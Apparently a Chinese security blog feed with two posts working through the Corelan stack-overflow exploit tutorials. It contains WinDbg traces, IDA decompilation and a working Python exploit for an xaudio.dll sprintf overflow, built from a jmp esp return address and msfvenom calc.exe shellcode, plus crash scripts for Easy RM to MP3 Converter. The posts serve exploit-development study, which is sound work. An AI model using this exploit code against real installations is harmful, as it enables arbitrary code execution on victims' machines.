cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
xaudio!xaudio_get_api_version+0xd3a5:
10017c75 8b11 mov edx,dword ptr [ecx] ds:0023:0354f4b8=0354f8f4
0:006> db 0354f8f4 L10
0354f8f4 41 ed 00 10 04 ff 54 03-00 00 00 00 01 00 00 00 A.....T.........
0:006> kv
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0354f210 10017d17 00000041 0354f4b8 0354f264 xaudio!xaudio_get_api_version+0xd3a5
0354f230 10017b47 001ebe18 000007db 0354f4b8 xaudio!xaudio_get_api_version+0xd447
00000000 00000000 00000000 00000000 00000000 xaudio!xaudio_get_api_version+0xd277
</code></pre></div></div>
<p>可惜只是显示了一部分,但还是可以在函数的返回处下断点,一步步跟下去:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:006> bd 0
0:006> bl
0 d 0354f8f4 w 1 0001 (0001) 0:****
0:006> bp 10017B35
0:006> bl
0 d 0354f8f4 w 1 0001 (0001) 0:****
1 e 10017b35 0001 (0001) 0:**** xaudio!xaudio_get_api_version+0xd265
0:006> g
Breakpoint 1 hit
eax=000007ed ebx=01760d6c ecx=0354f4b8 edx=0354fce1 esi=0354ff04 edi=001ec5f4
eip=10017b35 esp=0354f4a4 ebp=001ec600 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200212
xaudio!xaudio_get_api_version+0xd265:
10017b35 c3 ret
0:006> dd esp L4
0354f4a4 10014d64 0354f4b8 1003984c 0354f4ec
0:006> bp 10014D81
0:006> bp 10014D97
0:006> g
Breakpoint 2 hit
eax=000007ed ebx=01760d6c ecx=0354f4b8 edx=0354fce1 esi=0354ff04 edi=001ec5f4
eip=10014d81 esp=0354f4d8 ebp=001ec600 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
xaudio!xaudio_get_api_version+0xa4b1:
10014d81 c3 ret
0:006> dd esp L4
0354f4d8 100081aa 0354f4f4 10039844 10039ef4
0:006> dd esp L5
0354f4d8 100081aa 0354f4f4 10039844 10039ef4
0354f4e8 001ebe18
0:006> !address 0354f4f4
Failed to map Heaps (error 80004005)
Usage: Stack
Allocation Base: 03450000
Base Address: 0354c000
End Address: 03550000
Region Size: 00004000
Type: 00020000 MEM_PRIVATE
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
More info: ~6k
0:006> db 10039844 L10
10039844 25 73 20 28 25 73 29 00-25 73 00 00 25 73 20 28 %s (%s).%s..%s (
0:006> db 10039ef4 L10
10039ef4 72 65 71 75 65 73 74 69-6e 67 20 64 61 74 61 00 requesting data.
0:006> db 001ebe18 L10
001ebe18 2f 69 6e 64 65 78 2e 70-68 70 23 41 41 41 41 41 /index.php#AAAAA
0:006> db 001ebe18+b+0n1984 L20
001ec5e3 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
001ec5f3 00 00 00 00 00 f4 56 7d-5e 52 3a 00 08 c4 00 1e ......V}^R:.....
</code></pre></div></div>
<p>根据返回地址<code class="language-plaintext highlighter-rouge">100081aa</code>即可确定漏洞函数,其中调用了sprintf函数将poc文件中的内容和字符串拼接保存在固定长度的栈上,最终产生溢出,相关汇编代码如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:10008192 mov eax, [esp+408h+arg_C]
.text:10008199 push edx
.text:1000819A push eax
.text:1000819B lea ecx, [esp+410h+var_400]
.text:1000819F push offset aSS ; "%s (%s)"
.text:100081A4 push ecx ; char *
.text:100081A5 call _sprintf
.text:100081AA add esp, 10h
.text:100081AD jmp short loc_100081
</code></pre></div></div>
<p>也可以在IDA中查看反汇编代码,同时也验证了偏移<code class="language-plaintext highlighter-rouge">0x400-(16+1+11)=996</code>的正确性:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="kr">__cdecl</span> <span class="nf">sub_10008160</span><span class="p">(</span><span class="kt">int</span> <span class="n">a1</span><span class="p">,</span> <span class="kt">char</span> <span class="n">a2</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a3</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a4</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">a5</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="n">result</span><span class="p">;</span> <span class="c1">// eax@7</span>
<span class="kt">char</span> <span class="n">v6</span><span class="p">;</span> <span class="c1">// [sp+8h] [bp-400h]@5</span>
<span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)(</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">76</span><span class="p">)</span> <span class="o">&</span> <span class="mi">2</span> <span class="o">&&</span> <span class="n">a1</span> <span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">a5</span> <span class="o">&&</span> <span class="n">strlen</span><span class="p">(</span><span class="n">a5</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span> <span class="p">)</span>
<span class="n">sprintf</span><span class="p">(</span><span class="o">&</span><span class="n">v6</span><span class="p">,</span> <span class="n">aSS</span><span class="p">,</span> <span class="n">a4</span><span class="p">,</span> <span class="n">a5</span><span class="p">);</span>
<span class="k">else</span>
<span class="n">sprintf</span><span class="p">(</span><span class="o">&</span><span class="n">v6</span><span class="p">,</span> <span class="n">aS</span><span class="p">,</span> <span class="n">a4</span><span class="p">);</span>
<span class="n">result</span> <span class="o">=</span> <span class="n">a3</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">a3</span> <span class="o"><=</span> <span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">80</span><span class="p">)</span> <span class="p">)</span>
<span class="n">result</span> <span class="o">=</span> <span class="n">control_message_send</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">4</span><span class="p">),</span> <span class="mi">105</span><span class="p">,</span> <span class="n">a2</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">result</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>要直接覆盖eip的话,按照常规思路还是覆盖为<code class="language-plaintext highlighter-rouge">jmp esp</code>的地址,跟原文一样在xaudio.dll中寻找即可:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:006> s 10000000 10044000 ff e4
1003565d ff e4 00 8c 00 ff ff 6d-00 e3 00 fb ff ff ff e2 .......m........
10035e3f ff e4 00 8c 00 fd ff ff-ff c8 00 3e 00 ff ff 6d ...........>...m
0:006> u 1003565d L1
xaudio!xaudio_get_api_version+0x2ad8d:
1003565d ffe4 jmp esp
</code></pre></div></div>
<p>跳转至栈上后国际惯例还是要看看shellcode部分有没有被破坏:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(7e4.fc0): Break instruction exception - code 80000003 (!!! second chance !!!)
eax=42424242 ebx=01590d6c ecx=00000000 edx=0367fce1 esi=015909a8 edi=047b1830
eip=0367f8f8 esp=0367f8f8 ebp=0149c600 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
0367f8f8 cc int 3
0:006> db eip
0367f8f8 cc 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 .BBBBBBBBBBBBBBB
0367f908 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0367f918 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0367f928 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0367f938 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0367f948 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0367f958 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0367f968 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0:006> db eip+0n900
0367fc7c 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0367fc8c 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0367fc9c 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0367fcac 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0367fcbc 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0367fccc 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0367fcdc 42 42 42 42 29 00 49 01-c3 5b d8 70 00 00 00 00 BBBB).I..[.p....
0367fcec 50 01 49 01 00 00 49 01-50 01 49 01 f3 03 00 f0 P.I...I.P.I.....
</code></pre></div></div>
<p>很好,并没有被破坏,所以理论上其后接个shellcode就可以弹计算器了,但一开始使用只过滤<code class="language-plaintext highlighter-rouge">\x00</code>字符的shellcode,会在执行过程中产生异常,badchar和前文一样指定多一点就可以了,至于具体是哪些badchar会影响,感兴趣的同学可以深入探究一下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">padding</span> <span class="o">=</span> <span class="s">"http://www.baidu.com/index.php#"</span>
<span class="n">padding</span> <span class="o">+=</span> <span class="s">"A"</span> <span class="o">*</span> <span class="mi">996</span>
<span class="n">ret</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x5d\x56\x03\x10</span><span class="s">"</span> <span class="c1"># 1003565d
# shellcode = "\xcc" + "B" * 999
</span>
<span class="c1"># msfvenom -a x86 --platform Windows -p windows/exec CMD=calc.exe -e x86/shikata_ga_nai -b '\x00\x09\x0a\x0d' -f python -v shellcode -n 16
# Found 1 compatible encoders
# Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
# x86/shikata_ga_nai succeeded with size 220 (iteration=0)
# x86/shikata_ga_nai chosen with final size 220
# Successfully added NOP sled from x86/single_byte
# Payload size: 236 bytes
# Final size of python file: 1280 bytes
</span><span class="n">shellcode</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x43\x27\x2f\x43\x2f\x99\x4a\x27\xfd\x93\x49\x2f</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x99\xf5\xfc\xd9\xe8\xd9\x74\x24\xf4\x5a\x33</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xc9\xbb\x6f\xde\x10\xce\xb1\x31\x83\xc2\x04\x31</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x5a\x14\x03\x5a\x7b\x3c\xe5\x32\x6b\x42\x06\xcb</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x6b\x23\x8e\x2e\x5a\x63\xf4\x3b\xcc\x53\x7e\x69</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xe0\x18\xd2\x9a\x73\x6c\xfb\xad\x34\xdb\xdd\x80</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xc5\x70\x1d\x82\x45\x8b\x72\x64\x74\x44\x87\x65</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xb1\xb9\x6a\x37\x6a\xb5\xd9\xa8\x1f\x83\xe1\x43</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x53\x05\x62\xb7\x23\x24\x43\x66\x38\x7f\x43\x88</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xed\x0b\xca\x92\xf2\x36\x84\x29\xc0\xcd\x17\xf8</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x19\x2d\xbb\xc5\x96\xdc\xc5\x02\x10\x3f\xb0\x7a</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x63\xc2\xc3\xb8\x1e\x18\x41\x5b\xb8\xeb\xf1\x87</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x39\x3f\x67\x43\x35\xf4\xe3\x0b\x59\x0b\x27\x20</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x65\x80\xc6\xe7\xec\xd2\xec\x23\xb5\x81\x8d\x72</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x13\x67\xb1\x65\xfc\xd8\x17\xed\x10\x0c\x2a\xac</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x7e\xd3\xb8\xca\xcc\xd3\xc2\xd4\x60\xbc\xf3\x5f</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xef\xbb\x0b\x8a\x54\x33\x46\x97\xfc\xdc\x0f\x4d</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xbd\x80\xaf\xbb\x81\xbc\x33\x4e\x79\x3b\x2b\x3b</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x7c\x07\xeb\xd7\x0c\x18\x9e\xd7\xa3\x19\x8b\xbb</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x22\x8a\x57\x12\xc1\x2a\xfd\x6a</span><span class="s">"</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">padding</span> <span class="o">+</span> <span class="n">ret</span> <span class="o">+</span> <span class="n">shellcode</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"crash.mpf"</span><span class="p">,</span> <span class="s">"w"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</code></pre></div></div>
<h1>0x03 总结</h1>
<p>同为栈溢出漏洞的利用,通过上文的调试过程可以看出,普通覆盖eip需要确定至正确的漏洞函数,漏洞函数在返回过程中出现的任何异常都要正确规避才能劫持eip,而且劫持eip还需要观察上下文环境,看看有没有可以利用的寄存器来实现便利的跳转。反观SEH的利用,只要覆盖了SEH Handler任何异常无需规避都可以进入利用场景,由于SEH的处理机制,压栈的第二个参数提供了天然的<code class="language-plaintext highlighter-rouge">pop pop ret</code>使用环境,最终短跳至shellcode完成利用。所以在Windows平台上遇到栈溢出漏洞,优先考虑SEH的利用是比较快捷的。</p>
<p>作为一个CPU操作的整体,同样都是劫持eip,除了从应用程序的代码逻辑上考虑,也可以根据系统的相关机制进行利用,这与操作系统的理解深度也是正相关的,厚积便会有创造性的薄发。</p>
Larryxi
0x00 环境搭建 戏剧家洪深说:我的梦想,是明年吃苦的能力比今年更强。Part3 和 Part3b 都是以真实漏洞为例,讲解了一下SEH的原理和基于SEH的漏洞利用。在这里推荐去看《逆向工程核心原理》的第48章结合案例调试理解SEH的原理,再结合《0day》的相关章节了解SEH和safaSEH的利用和绕过方法。
Learn Corelan Exploit Writing Part 2
2018-08-06T00:00:00+00:00
2018-08-06T00:00:00+00:00
https://larryxi.github.io/2018/08/06/learn-corelan-exploit-writing-part-two
<h1>0x00 环境搭建</h1>
<p><a href="https://www.corelan.be/index.php/2009/07/23/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-2/">Part2</a>作为Part1的延续,在Part1基础的栈溢出漏洞上,介绍了几种ret2shellcode的方法,所以安全机制依旧是全关。虽然最终是跳转shellcode执行,但其中也掺杂了一些gadget选取和rop链的构造思想,有些地方还需要进一步的逆向和尝试,遂成此文。</p>
<!-- more -->
<h1>0x01 跳转方式</h1>
<h2>call [reg]</h2>
<p>在前文的漏洞环境中,和shellcode地址直接相关的便是esp寄存器,劫持eip跳转执行shellcode,比较容易想到的方法是<code class="language-plaintext highlighter-rouge">jmp esp</code>和<code class="language-plaintext highlighter-rouge">call esp</code>,在dll中寻找特定字节码的方法在原文中也已经提到过,照葫芦画瓢即可:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(fd4.21c): Break instruction exception - code 80000003 (first chance)
eax=7ffaa000 ebx=00000000 ecx=00000000 edx=77f5f125 esi=00000000 edi=00000000
eip=77ef40f0 esp=049fff5c ebp=049fff88 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!DbgBreakPoint:
77ef40f0 cc int 3
0:017> a
77ef40f0 call esp
call esp
77ef40f2
0:017> u 77ef40f0 L1
ntdll!DbgBreakPoint:
77ef40f0 ffd4 call esp
0:017> lm m kernel32
start end module name
77de0000 77eb4000 kernel32 (pdb symbols) c:\myserversymbols\kernel32.pdb\D4AC3906D49D487B9F69F9326A7D206A2\kernel32.pdb
0:017> s 77de0000 77eb4000 ff d4
77e9f7df ff d4 fc 0b 00 10 10 00-00 28 04 0c 00 ff ff ff .........(......
0:017> u 77e9f7df L1
kernel32!$$VProc_ImageExportDirectory+0xa81b:
77e9f7df ffd4 call esp
</code></pre></div></div>
<p><a href="https://larry.ngrep.me/2017/09/19/0day-gs-bypass-exercise/">使用msfpescan</a>也能在dll中寻找想要的gadget,exploit过程类似,往下不再重复赘述。</p>
<h2>pop ret</h2>
<p>如果将<code class="language-plaintext highlighter-rouge">pop ret</code>中的<code class="language-plaintext highlighter-rouge">ret</code>作为rop的链接者,那么<code class="language-plaintext highlighter-rouge">pop</code>起到的作用就有两点:</p>
<ol>
<li>增加esp,降低栈顶,略过栈上无效数据。</li>
<li>如果栈上有后续exploit相关的数据(如指向shellcode的地址),pop该数据至寄存器中,可为其后的gadget所用。</li>
</ol>
<p>原文中假象场景后,使用<code class="language-plaintext highlighter-rouge">pop pop ret</code>加上<code class="language-plaintext highlighter-rouge">jmp esp</code>完成了漏洞利用。</p>
<h2>push return</h2>
<p><code class="language-plaintext highlighter-rouge">push ret</code>也是另一种劫持eip的方法,要push的数据还是得和我们的利用场景相关,原文中使用的<code class="language-plaintext highlighter-rouge">push esp; ret</code>和<code class="language-plaintext highlighter-rouge">jmp esp</code>的效果是一样的。</p>
<h2>jmp [reg]+[offset]</h2>
<p>原文中此方法的适用场景是某个寄存器的值位于shellcode(或关键代码)地址附近,需要增加一个偏移再跳转过去,但此类的gadget可能不是太好找。如果该寄存器是esp,增加偏移的操作可由pop或push代替;其他寄存器的话,增加偏移可由add或inc代替。总之,将复杂的gadget拆分替换成小的gadget可能更加容易寻找。</p>
<h2>blind return</h2>
<p>原文中场景是覆盖eip后还能控制esp指向的4字节,但这和原来的<code class="language-plaintext highlighter-rouge">ret 4</code>有些矛盾了。既然是盲跳,感觉直接将eip覆盖为栈地址即可,也可能是我对于ret gadget加栈地址的适用场景理解不深刻。对于场景的理解有时候也是漏洞利用的突破点,这里覆盖eip为栈地址并非如原文所说是无法实现的,后文会逆向利用尝试一下。</p>
<h2>dealing with small buffers</h2>
<p>在这里原文还是jump esp后执行汇编代码,不过存放此汇编代码的缓冲区设得比较小,作者就使用<code class="language-plaintext highlighter-rouge">add esp; jump esp</code>的方法最终跳转至shellcode。此处的shellcode为应用程序将栈上低地址处的padding拷贝至栈上高地址的数据,copy过程中具体的源地址和目标地址的偏移还有待我们逆向考证一番。</p>
<p>先看看栈上高地址处copy padding的偏移是多少:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"pattern.txt"</span><span class="p">,</span> <span class="s">"r"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">pattern</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">().</span><span class="n">strip</span><span class="p">()</span>
<span class="n">padding</span> <span class="o">=</span> <span class="s">"A"</span> <span class="o">*</span> <span class="p">(</span><span class="mi">20000</span><span class="o">+</span><span class="mi">1107</span><span class="p">)</span>
<span class="n">ret</span> <span class="o">=</span> <span class="s">"</span><span class="se">\xd8\x2f\xeb\x77</span><span class="s">"</span> <span class="c1"># int 3
</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">pattern</span> <span class="o">+</span> <span class="n">padding</span> <span class="o">+</span><span class="n">ret</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"crash.m3u"</span><span class="p">,</span> <span class="s">"w"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</code></pre></div></div>
<p>触发断点后查看栈上数据,偏移居然是0,也就是直接从头copy了一部分的padding,而原文中是因为payload尾部的nop过长,造成了一种截断的假象:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>eax=00000001 ebx=00104a1c ecx=77f16570 edx=018505c0 esi=6fff2960 edi=000065ff
eip=77eb2fd8 esp=000ffcc4 ebp=00104604 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
kernel32!WakeConditionVariable+0x13839:
77eb2fd8 cc int 3
0:000> d esp-8
000ffcbc d8 2f eb 77 00 46 10 00-01 00 00 00 00 00 00 00 ./.w.F..........
000ffccc 4c 00 35 00 1c 4a 10 00-00 00 00 00 00 00 00 00 L.5..J..........
000ffcdc 41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41 Aa0Aa1Aa2Aa3Aa4A
000ffcec 61 35 41 61 36 41 61 37-41 61 38 41 61 39 41 62 a5Aa6Aa7Aa8Aa9Ab
000ffcfc 30 41 62 31 41 62 32 41-62 33 41 62 34 41 62 35 0Ab1Ab2Ab3Ab4Ab5
000ffd0c 41 62 36 41 62 37 41 62-38 41 62 39 41 63 30 41 Ab6Ab7Ab8Ab9Ac0A
000ffd1c 63 31 41 63 32 41 63 33-41 63 34 41 63 35 41 63 c1Ac2Ac3Ac4Ac5Ac
000ffd2c 36 41 63 37 41 63 38 41-63 39 41 64 30 41 64 31 6Ac7Ac8Ac9Ad0Ad1
</code></pre></div></div>
<p>观察栈帧的高低关系可以推断,先调用了某函数copy一部分padding至栈上,然后才调用的漏洞函数触发了栈溢出。因为还是没开任何安全机制,所以栈地址是不会发生变化的。老套路在000ffcdc处下硬件断点,在触发断点过程中可以根据汇编指令推断是否为我们要找的触发点,同时回溯栈帧也有助于我们的分析:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>eax=7ffaa000 ebx=00000000 ecx=00000000 edx=77f5f125 esi=00000000 edi=00000000
eip=77ef40f0 esp=04b4ff5c ebp=04b4ff88 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\SYSTEM32\ntdll.dll -
ntdll!DbgBreakPoint:
77ef40f0 cc int 3
0:017> ba w 1 000ffcdc
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\kernel32.dll -
0:017> bl
0 e 000ffcdc w 1 0001 (0001) 0:****
0:017> g
Breakpoint 0 hit
eax=00000000 ebx=00104a1c ecx=000000ff edx=00104604 esi=00000000 edi=000ffce0
eip=0041b820 esp=000ffcc4 ebp=00104604 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
*** WARNING: Unable to verify checksum for C:\Program Files\Easy RM to MP3 Converter\RM2MP3Converter.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Easy RM to MP3 Converter\RM2MP3Converter.exe
RM2MP3Converter+0x1b820:
0041b820 f3ab rep stos dword ptr es:[edi]
0:000> d 000ffcdc
000ffcdc 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000ffcec 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000ffcfc 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000ffd0c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000ffd1c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000ffd2c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000ffd3c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000ffd4c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0:000> g
Breakpoint 0 hit
eax=00000041 ebx=00000400 ecx=000ffcdc edx=77f070b4 esi=6fff2960 edi=00000400
eip=6ff6f577 esp=000ffc2c ebp=000ffc48 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\msvcrt.dll -
msvcrt!fread+0x1af:
6ff6f577 8b4618 mov eax,dword ptr [esi+18h] ds:0023:6fff2978=00001000
0:000> k
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
000ffc48 6ff6f455 msvcrt!fread+0x1af
000ffc90 6ff6f3e0 msvcrt!fread+0x8d
000ffcac 0041b9dc msvcrt!fread+0x18
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\USER32.dll -
00104620 77d45aa7 RM2MP3Converter+0x1b9dc
0010465c 77d37206 USER32!CreateDialogParamW+0x477
00104678 77d2c4e7 USER32!DefDlgProcA+0x22
001046ac 77d1bb87 USER32!gapfnScSendMessage+0x1cf
001046b4 77d2c641 USER32!DefWindowProcA+0x6b
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\MFC42.DLL -
0010476c 718a3335 USER32!gapfnScSendMessage+0x329
00104a1c 00000000 MFC42!Ordinal2385+0x2a
0:000> g
(684.e84): Break instruction exception - code 80000003 (first chance)
eax=00000001 ebx=00104a1c ecx=77f16570 edx=006905c0 esi=6fff2960 edi=000065ff
eip=77eb2fd8 esp=000ffcc4 ebp=00104604 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
kernel32!WakeConditionVariable+0x13839:
77eb2fd8 cc int 3
0:000> d 000ffcdc
000ffcdc 41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41 Aa0Aa1Aa2Aa3Aa4A
000ffcec 61 35 41 61 36 41 61 37-41 61 38 41 61 39 41 62 a5Aa6Aa7Aa8Aa9Ab
000ffcfc 30 41 62 31 41 62 32 41-62 33 41 62 34 41 62 35 0Ab1Ab2Ab3Ab4Ab5
000ffd0c 41 62 36 41 62 37 41 62-38 41 62 39 41 63 30 41 Ab6Ab7Ab8Ab9Ac0A
000ffd1c 63 31 41 63 32 41 63 33-41 63 34 41 63 35 41 63 c1Ac2Ac3Ac4Ac5Ac
000ffd2c 36 41 63 37 41 63 38 41-63 39 41 64 30 41 64 31 6Ac7Ac8Ac9Ad0Ad1
000ffd3c 41 64 32 41 64 33 41 64-34 41 64 35 41 64 36 41 Ad2Ad3Ad4Ad5Ad6A
000ffd4c 64 37 41 64 38 41 64 39-41 65 30 41 65 31 41 65 d7Ad8Ad9Ae0Ae1Ae
</code></pre></div></div>
<p>由此可知是一个fread函数往栈上读取数据,具体可以定位至<code class="language-plaintext highlighter-rouge">RM2MP3Converter+0x1b9dc</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">FILE</span> <span class="o">*</span><span class="n">__thiscall</span> <span class="nf">sub_41B7E0</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">this</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">Str</span><span class="p">)</span>
<span class="p">{</span>
<span class="c1">//......</span>
<span class="kt">char</span> <span class="n">DstBuf</span><span class="p">;</span> <span class="c1">// [sp+18h] [bp-490Ch]@1</span>
<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">v36</span><span class="p">;</span> <span class="c1">// [sp+418h] [bp-450Ch]@1</span>
<span class="kt">char</span> <span class="n">ArgList</span><span class="p">;</span> <span class="c1">// [sp+41Ch] [bp-4508h]@8</span>
<span class="kt">char</span> <span class="n">v38</span><span class="p">;</span> <span class="c1">// [sp+2724h] [bp-2200h]@1</span>
<span class="n">v2</span> <span class="o">=</span> <span class="n">this</span><span class="p">;</span>
<span class="n">result</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
